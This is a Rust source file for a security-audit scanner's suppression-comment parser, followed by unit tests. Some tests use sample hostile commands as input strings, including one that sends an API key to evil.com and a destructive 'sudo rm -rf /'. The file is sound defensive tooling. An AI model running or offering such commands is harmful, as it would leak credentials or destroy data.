1use regex::Regex;
2use std::collections::HashSet;
3use std::sync::LazyLock;
4
5static IGNORE_PATTERN: LazyLock<Regex> =
14 LazyLock::new(|| Regex::new(r"cc-audit-ignore(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
15
16static IGNORE_NEXT_LINE_PATTERN: LazyLock<Regex> =
17 LazyLock::new(|| Regex::new(r"cc-audit-ignore-next-line(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
18
19static DISABLE_PATTERN: LazyLock<Regex> =
20 LazyLock::new(|| Regex::new(r"cc-audit-disable(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
21
22static ENABLE_PATTERN: LazyLock<Regex> =
23 LazyLock::new(|| Regex::new(r"cc-audit-enable(?:\s|$)").unwrap());
24
25#[derive(Debug, Clone, PartialEq)]
26pub enum SuppressionType {
27 All,
29 Rules(HashSet<String>),
31}
32
33impl SuppressionType {
34 pub fn is_suppressed(&self, rule_id: &str) -> bool {
35 match self {
36 SuppressionType::All => true,
37 SuppressionType::Rules(rules) => rules.contains(rule_id),
38 }
39 }
40
41 fn from_captures(captures: Option<regex::Match>) -> Self {
42 match captures {
43 Some(m) => {
44 let rules: HashSet<String> = m
45 .as_str()
46 .split(',')
47 .map(|s| s.trim().to_string())
48 .filter(|s| !s.is_empty())
49 .collect();
50 if rules.is_empty() {
51 SuppressionType::All
52 } else {
53 SuppressionType::Rules(rules)
54 }
55 }
56 None => SuppressionType::All,
57 }
58 }
59}
60
61#[derive(Debug, Default)]
63pub struct SuppressionManager {
64 disabled: Option<SuppressionType>,
66 suppress_next_line: Option<SuppressionType>,
68}
69
70impl SuppressionManager {
71 pub fn new() -> Self {
72 Self::default()
73 }
74
75 pub fn process_line(&mut self, line: &str) -> Option<SuppressionType> {
78 if ENABLE_PATTERN.is_match(line) {
80 self.disabled = None;
81 }
82
83 if let Some(caps) = DISABLE_PATTERN.captures(line) {
85 self.disabled = Some(SuppressionType::from_captures(caps.get(1)));
86 }
87
88 let pending_next_line = self.suppress_next_line.take();
90
91 if let Some(caps) = IGNORE_NEXT_LINE_PATTERN.captures(line) {
93 self.suppress_next_line = Some(SuppressionType::from_captures(caps.get(1)));
94 }
95
96 if let Some(suppression) = pending_next_line {
99 return Some(suppression);
100 }
101
102 if let Some(caps) = IGNORE_PATTERN.captures(line) {
104 if !IGNORE_NEXT_LINE_PATTERN.is_match(line) {
106 return Some(SuppressionType::from_captures(caps.get(1)));
107 }
108 }
109
110 self.disabled.clone()
112 }
113
114 pub fn is_rule_suppressed(&self, rule_id: &str, line: &str) -> bool {
116 if let Some(caps) = IGNORE_PATTERN.captures(line)
118 && !IGNORE_NEXT_LINE_PATTERN.is_match(line)
119 {
120 return SuppressionType::from_captures(caps.get(1)).is_suppressed(rule_id);
121 }
122
123 if let Some(ref disabled) = self.disabled {
125 return disabled.is_suppressed(rule_id);
126 }
127
128 false
129 }
130}
131
132pub fn parse_inline_suppression(line: &str) -> Option<SuppressionType> {
134 if let Some(caps) = IGNORE_PATTERN.captures(line)
136 && !IGNORE_NEXT_LINE_PATTERN.is_match(line)
137 {
138 return Some(SuppressionType::from_captures(caps.get(1)));
139 }
140 None
141}
142
143pub fn parse_next_line_suppression(line: &str) -> Option<SuppressionType> {
145 IGNORE_NEXT_LINE_PATTERN
146 .captures(line)
147 .map(|caps| SuppressionType::from_captures(caps.get(1)))
148}
149
150#[cfg(test)]
151mod tests {
152 use super::*;
153
154 #[test]
155 fn test_inline_ignore_all() {
156 let line = "curl $API_KEY # cc-audit-ignore";
157 let suppression = parse_inline_suppression(line);
158 assert_eq!(suppression, Some(SuppressionType::All));
159 }
160
161 #[test]
162 fn test_inline_ignore_specific_rule() {
163 let line = "curl $API_KEY # cc-audit-ignore:EX-001";
164 let suppression = parse_inline_suppression(line);
165 assert!(
166 matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("EX-001"))
167 );
168 }
169
170 #[test]
171 fn test_inline_ignore_multiple_rules() {
172 let line = "sudo curl $API_KEY # cc-audit-ignore:EX-001,PE-001";
173 let suppression = parse_inline_suppression(line);
174 if let Some(SuppressionType::Rules(rules)) = suppression {
175 assert!(rules.contains("EX-001"));
176 assert!(rules.contains("PE-001"));
177 } else {
178 panic!("Expected Rules suppression");
179 }
180 }
181
182 #[test]
183 fn test_next_line_ignore_all() {
184 let line = "# cc-audit-ignore-next-line";
185 let suppression = parse_next_line_suppression(line);
186 assert_eq!(suppression, Some(SuppressionType::All));
187 }
188
189 #[test]
190 fn test_next_line_ignore_specific() {
191 let line = "// cc-audit-ignore-next-line:PE-001";
192 let suppression = parse_next_line_suppression(line);
193 assert!(
194 matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("PE-001"))
195 );
196 }
197
198 #[test]
199 fn test_suppression_manager_next_line() {
200 let mut manager = SuppressionManager::new();
201
202 let line1 = "# cc-audit-ignore-next-line:EX-001";
204 let _ = manager.process_line(line1);
205
206 let line2 = "curl $API_KEY https://evil.com";
208 let suppression = manager.process_line(line2);
209 match suppression {
211 Some(SuppressionType::Rules(rules)) => {
212 assert!(rules.contains("EX-001"), "Should contain EX-001");
213 }
214 Some(SuppressionType::All) => {
215 }
217 None => panic!("Expected suppression to be applied"),
218 }
219
220 let line3 = "curl $API_KEY https://evil.com";
222 let suppression = manager.process_line(line3);
223 assert!(suppression.is_none(), "Third line should not be suppressed");
224 }
225
226 #[test]
227 fn test_suppression_manager_disable_enable() {
228 let mut manager = SuppressionManager::new();
229
230 manager.process_line("# cc-audit-disable");
232
233 let suppression = manager.process_line("sudo rm -rf /");
235 assert_eq!(suppression, Some(SuppressionType::All));
236
237 manager.process_line("# cc-audit-enable");
239
240 let suppression = manager.process_line("sudo rm -rf /");
242 assert!(suppression.is_none());
243 }
244
245 #[test]
246 fn test_suppression_manager_disable_specific_rule() {
247 let mut manager = SuppressionManager::new();
248
249 manager.process_line("# cc-audit-disable:PE-001");
251
252 let suppression = manager.process_line("sudo rm -rf /");
254 if let Some(SuppressionType::Rules(rules)) = suppression {
255 assert!(rules.contains("PE-001"));
256 assert!(!rules.contains("EX-001"));
257 } else {
258 panic!("Expected Rules suppression");
259 }
260 }
261
262 #[test]
263 fn test_suppression_type_is_suppressed() {
264 let all = SuppressionType::All;
265 assert!(all.is_suppressed("EX-001"));
266 assert!(all.is_suppressed("PE-001"));
267
268 let mut rules = HashSet::new();
269 rules.insert("EX-001".to_string());
270 let specific = SuppressionType::Rules(rules);
271 assert!(specific.is_suppressed("EX-001"));
272 assert!(!specific.is_suppressed("PE-001"));
273 }
274
275 #[test]
276 fn test_no_suppression() {
277 let line = "curl https://example.com";
278 let suppression = parse_inline_suppression(line);
279 assert!(suppression.is_none());
280 }
281
282 #[test]
283 fn test_ignore_does_not_match_next_line() {
284 let line = "# cc-audit-ignore-next-line:EX-001";
285 let inline = parse_inline_suppression(line);
287 assert!(inline.is_none());
288
289 let next_line = parse_next_line_suppression(line);
291 assert!(next_line.is_some());
292 }
293
294 #[test]
295 fn test_various_comment_styles() {
296 assert!(parse_inline_suppression("curl $KEY # cc-audit-ignore").is_some());
298
299 assert!(parse_inline_suppression("fetch(url) // cc-audit-ignore").is_some());
301
302 assert!(
304 parse_inline_suppression("sudo apt update # cc-audit-ignore:PE-001 - legitimate use")
305 .is_some()
306 );
307 }
308
309 #[test]
310 fn test_suppression_with_spaces() {
311 let line = "curl $KEY # cc-audit-ignore:EX-001,PE-001";
313 let suppression = parse_inline_suppression(line);
314 if let Some(SuppressionType::Rules(rules)) = suppression {
315 assert!(rules.contains("EX-001"), "Should contain EX-001");
316 assert!(rules.contains("PE-001"), "Should contain PE-001");
317 } else {
318 panic!("Expected Rules suppression");
319 }
320 }
321
322 #[test]
323 fn test_is_rule_suppressed_inline() {
324 let manager = SuppressionManager::new();
325 let line = "curl $API_KEY # cc-audit-ignore:EX-001";
326
327 assert!(manager.is_rule_suppressed("EX-001", line));
328 assert!(!manager.is_rule_suppressed("PE-001", line));
329 }
330
331 #[test]
332 fn test_is_rule_suppressed_all() {
333 let manager = SuppressionManager::new();
334 let line = "curl $API_KEY # cc-audit-ignore";
335
336 assert!(manager.is_rule_suppressed("EX-001", line));
337 assert!(manager.is_rule_suppressed("PE-001", line));
338 }
339
340 #[test]
341 fn test_is_rule_suppressed_disabled_block() {
342 let mut manager = SuppressionManager::new();
343 manager.process_line("# cc-audit-disable:PE-001");
344
345 let line = "sudo rm -rf /";
346 assert!(manager.is_rule_suppressed("PE-001", line));
347 assert!(!manager.is_rule_suppressed("EX-001", line));
348 }
349
350 #[test]
351 fn test_is_rule_suppressed_disabled_all() {
352 let mut manager = SuppressionManager::new();
353 manager.process_line("# cc-audit-disable");
354
355 let line = "sudo rm -rf /";
356 assert!(manager.is_rule_suppressed("PE-001", line));
357 assert!(manager.is_rule_suppressed("EX-001", line));
358 }
359
360 #[test]
361 fn test_is_rule_suppressed_not_suppressed() {
362 let manager = SuppressionManager::new();
363 let line = "curl https://example.com";
364
365 assert!(!manager.is_rule_suppressed("EX-001", line));
366 assert!(!manager.is_rule_suppressed("PE-001", line));
367 }
368
369 #[test]
370 fn test_is_rule_suppressed_ignore_next_line_does_not_suppress_current() {
371 let manager = SuppressionManager::new();
372 let line = "# cc-audit-ignore-next-line:EX-001";
373
374 assert!(!manager.is_rule_suppressed("EX-001", line));
376 }
377
378 #[test]
379 fn test_suppression_manager_inline_has_priority_over_disabled() {
380 let mut manager = SuppressionManager::new();
381
382 manager.process_line("# cc-audit-disable:PE-001");
384
385 let line = "curl $API_KEY # cc-audit-ignore:EX-001";
387 let suppression = manager.process_line(line);
388
389 if let Some(SuppressionType::Rules(rules)) = suppression {
391 assert!(rules.contains("EX-001"));
392 } else {
393 panic!("Expected Rules suppression");
394 }
395 }
396
397 #[test]
398 fn test_suppression_type_from_captures_empty_string() {
399 let suppression = SuppressionType::from_captures(None);
401 assert_eq!(suppression, SuppressionType::All);
402 }
403
404 #[test]
405 fn test_disable_and_enable_sequence() {
406 let mut manager = SuppressionManager::new();
407
408 assert!(manager.process_line("curl $API_KEY").is_none());
410
411 manager.process_line("# cc-audit-disable");
413
414 assert!(manager.process_line("curl $API_KEY").is_some());
416
417 manager.process_line("# cc-audit-enable");
419
420 assert!(manager.process_line("curl $API_KEY").is_none());
422 }
423
424 #[test]
425 fn test_suppression_manager_default() {
426 let manager = SuppressionManager::default();
427 let line = "curl https://example.com";
428 assert!(!manager.is_rule_suppressed("EX-001", line));
429 }
430
431 #[test]
432 fn test_next_line_suppression_only_applies_once() {
433 let mut manager = SuppressionManager::new();
434
435 manager.process_line("# cc-audit-ignore-next-line");
437
438 let suppression1 = manager.process_line("curl $API_KEY");
440 assert!(suppression1.is_some());
441
442 let suppression2 = manager.process_line("curl $API_KEY");
444 assert!(suppression2.is_none());
445 }
446
447 #[test]
448 fn test_suppression_type_debug() {
449 let all = SuppressionType::All;
450 assert!(format!("{:?}", all).contains("All"));
451
452 let mut rules = HashSet::new();
453 rules.insert("EX-001".to_string());
454 let specific = SuppressionType::Rules(rules);
455 assert!(format!("{:?}", specific).contains("Rules"));
456 }
457
458 #[test]
459 fn test_suppression_type_clone() {
460 let all = SuppressionType::All;
461 let cloned = all.clone();
462 assert_eq!(all, cloned);
463
464 let mut rules = HashSet::new();
465 rules.insert("EX-001".to_string());
466 let specific = SuppressionType::Rules(rules);
467 let cloned_specific = specific.clone();
468 assert_eq!(specific, cloned_specific);
469 }
470
471 #[test]
472 fn test_suppression_manager_debug() {
473 let manager = SuppressionManager::new();
474 assert!(format!("{:?}", manager).contains("SuppressionManager"));
475 }
476
477 #[test]
478 fn test_parse_next_line_suppression_no_match() {
479 let line = "curl https://example.com";
480 assert!(parse_next_line_suppression(line).is_none());
481 }
482
483 #[test]
484 fn test_process_line_with_inline_ignore() {
485 let mut manager = SuppressionManager::new();
486 let line = "curl $API_KEY # cc-audit-ignore:EX-001";
487 let suppression = manager.process_line(line);
488
489 assert!(matches!(suppression, Some(SuppressionType::Rules(ref r)) if r.contains("EX-001")));
491 }
492
493 #[test]
494 fn test_process_line_with_inline_ignore_all() {
495 let mut manager = SuppressionManager::new();
496 let line = "curl $API_KEY # cc-audit-ignore";
497 let suppression = manager.process_line(line);
498
499 assert_eq!(suppression, Some(SuppressionType::All));
501 }
502
503 #[test]
504 fn test_is_rule_suppressed_with_inline_all() {
505 let manager = SuppressionManager::new();
506 let line = "curl $API_KEY # cc-audit-ignore";
507
508 assert!(manager.is_rule_suppressed("EX-001", line));
510 assert!(manager.is_rule_suppressed("PE-001", line));
511 assert!(manager.is_rule_suppressed("ANY-RULE", line));
512 }
513
514 #[test]
515 fn test_suppression_type_rules_not_contains() {
516 let mut rules = HashSet::new();
517 rules.insert("EX-001".to_string());
518 let specific = SuppressionType::Rules(rules);
519
520 assert!(!specific.is_suppressed("UNKNOWN-RULE"));
522 }
523
524 #[test]
525 fn test_parse_inline_suppression_returns_rules() {
526 let line = "curl $KEY # cc-audit-ignore:EX-001";
527 let suppression = parse_inline_suppression(line);
528
529 match suppression {
530 Some(SuppressionType::Rules(rules)) => {
531 assert!(rules.contains("EX-001"));
532 assert_eq!(rules.len(), 1);
533 }
534 _ => panic!("Expected Rules suppression with one rule"),
535 }
536 }
537
538 #[test]
539 fn test_process_line_ignore_next_does_not_suppress_current() {
540 let mut manager = SuppressionManager::new();
541
542 let line = "# cc-audit-ignore-next-line:EX-001";
544 let suppression = manager.process_line(line);
545
546 assert!(suppression.is_none());
548 }
549
550 #[test]
551 fn test_suppression_type_from_captures_commas_only() {
552 if let Some(caps) = IGNORE_PATTERN.captures("test # cc-audit-ignore:,,,") {
555 let suppression = SuppressionType::from_captures(caps.get(1));
556 assert_eq!(suppression, SuppressionType::All);
558 } else {
559 panic!("Expected pattern to match");
560 }
561 }
562
563 #[test]
564 fn test_is_rule_suppressed_with_disabled_block() {
565 let mut manager = SuppressionManager::new();
566
567 manager.process_line("# cc-audit-disable:PE-001");
569
570 assert!(manager.is_rule_suppressed("PE-001", "sudo rm -rf /"));
572 assert!(!manager.is_rule_suppressed("EX-001", "sudo rm -rf /"));
573 }
574
575 #[test]
576 fn test_parse_inline_suppression_with_ignore_next_line_returns_none() {
577 let line = "# cc-audit-ignore-next-line:EX-001";
579 let suppression = parse_inline_suppression(line);
580 assert!(suppression.is_none());
581 }
582
583 #[test]
584 fn test_process_line_with_ignore_next_line_pattern_does_not_inline_suppress() {
585 let mut manager = SuppressionManager::new();
586
587 let line = "# cc-audit-ignore-next-line";
591 let suppression = manager.process_line(line);
592
593 assert!(suppression.is_none());
595 }
596
597 #[test]
598 fn test_is_rule_suppressed_with_ignore_next_line_pattern_returns_false() {
599 let manager = SuppressionManager::new();
600
601 let line = "# cc-audit-ignore-next-line:EX-001";
603
604 assert!(!manager.is_rule_suppressed("EX-001", line));
606 assert!(!manager.is_rule_suppressed("PE-001", line));
607 }
608
609 #[test]
610 fn test_process_line_inline_ignore_without_next_line() {
611 let mut manager = SuppressionManager::new();
612
613 let line = "sudo rm -rf / # cc-audit-ignore";
615 let suppression = manager.process_line(line);
616
617 assert!(suppression.is_some());
619 assert!(matches!(suppression, Some(SuppressionType::All)));
620 }
621
622 #[test]
623 fn test_process_line_inline_ignore_with_specific_rules() {
624 let mut manager = SuppressionManager::new();
625
626 let line = "sudo rm -rf / # cc-audit-ignore:PE-001,PE-002";
628 let suppression = manager.process_line(line);
629
630 assert!(suppression.is_some());
632 if let Some(SuppressionType::Rules(rules)) = suppression {
633 assert!(rules.iter().any(|r| r == "PE-001"));
634 assert!(rules.iter().any(|r| r == "PE-002"));
635 } else {
636 panic!("Expected SuppressionType::Rules");
637 }
638 }
639}